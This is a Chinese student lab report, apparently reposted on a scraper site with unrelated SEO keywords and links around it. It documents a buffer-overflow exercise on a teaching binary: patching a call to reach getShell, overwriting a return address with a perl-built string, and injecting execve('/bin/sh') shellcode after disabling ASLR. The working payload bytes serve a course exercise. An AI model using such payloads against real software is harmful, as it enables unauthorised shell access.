当前位置: 首页 > news >正文

建设企业网站e路护航热门行业排行榜

建设企业网站e路护航,热门行业排行榜,学做网站需要什么软件,盐城网站建设电话20232801 2023-2024-2 《网络攻防实践》实践九报告 1.实践内容 (1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。 (2)利用foo函数的Bof漏洞,构造一个攻击输入字符串&#xf…

20232801 2023-2024-2 《网络攻防实践》实践九报告

1.实践内容

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode

2.实践过程

打开kali虚拟机,将用户名改为ly。将学习通中下载的pwn1工具放入到kali中,通过 mv pwn1 pwn20232801修改pwn1的学号信息。
在这里插入图片描述

1. 修改程序机器指令,改变程序执行流程
使用命令:objdump -d pwn20232801 | more 反编译这个文件。使用enter键可以继续向下查看,找到main函数,foo函数,并且能够发现在main函数中调用了foo函数。
call 8048491:这条指令将调用位于地址8048491处的foo函数,其对应的机器指令为 e8d7ffffff。
main函数调用foo,对应机器指令为“ e8 d7ffffff”
我们想要:让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行:47d-4ba 得到补码为:c3ffffff

在这里插入图片描述
2. 修改可执行文件
为了防止意外,可以回溯源工具,在这里,对pwn20232801 进行了一个复制,pwn20232801-2

cp pwn20232801 pwn20232801-2

打开pwn20232801-2

vi pwn20232801-2

在这里插入图片描述
打开以后发现全是乱码
在这里插入图片描述
输入:%!xxd将显示转化为16进制
在这里插入图片描述

通过/e8d7找到需要修改的内容在这里插入图片描述
修改d7 为c3,注意:在退出保存前需要将16进制转化为原格式。:%!xxd -r
请添加图片描述
我们再次反汇编一下查看是否正确调用getshell:objdump -d pwn2 | more ,修改成功。
请添加图片描述
运行:./pwn20232801
请添加图片描述
3. 改变程序执行流,造成BOF攻击
使用objdump -d pwn20232801 | more观察foo函数,发现其在栈顶中预留了0x1c大小,也就是28个字节的缓冲区域。
当我们输入的字符串长度超出了它预留空间的话,则会出现缓冲区溢出。
那我们只需要需构造一个字符串,使其溢出,溢出部分覆盖原始的返回地址,变成getshell函数的起始地址即可。
请添加图片描述

另外可以用一个语句perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20232801input`
使用 命令:查看是否修改成功。

xxd 20232801input 

请添加图片描述
输入:(cat 20222801input;cat) | ./pwn20222801-2 攻击成功
请添加图片描述

  1. 注入shellcode代码

首先,安装execstack,下载链接:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
下载后使用命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb完成安装 (在此实验由于不小心将复制前的原工具删掉了,重新下载了一个pwn1)

  • 修改设置
execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化more /proc/sys/kernel/randomize_va_space  //查询

请添加图片描述
在这里我们需要分析如何让他溢出覆盖:perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode 即前面的x1\x2\x3\x4需要填写什么。
在一个终端1中输入(cat input_shellcode;cat) | ./pwn1
在打开另外一个终端2输入:ps -ef | grep pwn20232906 可以pwn1的进程号,这里我的是27964。

gdb调试该进程

attach 27964
disassemble foo //通过设置断点,来查看注入buf的内存地址
break *0x080484ae   

请添加图片描述

c   在终端1中按下回车键 (注意是先C 再回车)info r esp  //找到esp寄存器的值,获得我们注入的字符串的地址x/16x 0xffffd52c

从0xffffd52c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d5 30就可以让程序执行Shellcode,所以\x1\x2\x3\x4修改为\x30\x50\xff\xff
计算方法为:0xffffd52c+4=ffffd530

请添加图片描述
于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。

perl -e 'print "A" x 32;print "\x30\x50\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

发现我们成功的获得了shell
请添加图片描述

3.学习中遇到的问题及解决

  • 问题1: 在kali 中使用 apt-get Execstack 无法下载execstack工具
  • 问题1解决方案:找到下载网址,在浏览器中下载后再解压。
  • 问题2:在注入shellcode代码是,使用前面修改过的pwn20232801-2始终找不到正确的地址
  • 问题2解决方案:重新下载了一个pwn1工具。

4.实践总结

学习了什么是缓冲区溢出:指在程序执行过程中,向程序的缓冲区写入了超过其长度的内容,导致数据溢出到被分配空间之外的内存空间,进而覆盖其他内存空间的数据。
以及堆,栈的在数据结构和操作系统中的不同。

参考资料

  • execstack下载
    实践指导书
http://www.yayakq.cn/news/268276/

相关文章:

  • 深圳市西特塔网站建设工作室网站开发人员的水平
  • 北京企业网站模板建站开发如何自己搭建微信小程序
  • 做电子商务网站的总结网站建网站
  • 如何建设好企业的网站维护动漫制作专业认识
  • 无锡网站推广经理给个网站免费的
  • 开鲁网站seo站长工具鞍山网站建设公司
  • 网站域名费怎么查询展厅设计案例100例
  • 免费做长图网站深圳有几个区哪个区最富裕
  • wap 2.0的网站做影视网站怎么
  • 相机网站建设规划书网站违规关键词
  • 建立个人网站流程深圳比较好的建站公司
  • 在线设计网站免费公众号版面设计创意
  • 缙云 网站建设比较好的搜索引擎
  • 网站页面效果图怎么做的新媒体营销的概念是什么
  • 多语言网站怎么实现网站开发php岗位职责
  • 苏州互联网企业排名湛江市企业网站seo点击软件
  • 做网站布为网珠海公司注册
  • wordpress服务器加速谷歌seo算法规则
  • 五莲县城乡建设局网站首页wordpress分类规则
  • 网站建设系统规划上海网站建设公司网站
  • 上海网站开发与wordpress模板最新
  • 微网站建设制作管理咨询公司简介
  • 北京南站在哪个区哪个街道网站重新备案怎么做
  • 南宁好的网站建设公司东莞建筑公司前十强
  • 唐山网站建设公司哪家好宁波网站建设推荐荣盛网络好
  • 长沙网站制作培训深圳软件系统开发公司
  • 廊坊做网站的企业哪家好微信网站建设收费标准
  • 成都网站建设收费明细河北建设厅网站电话
  • 做网站字体大小传奇网页游戏排行
  • 关于加强公司 网站建设的通知用c语言怎么做网站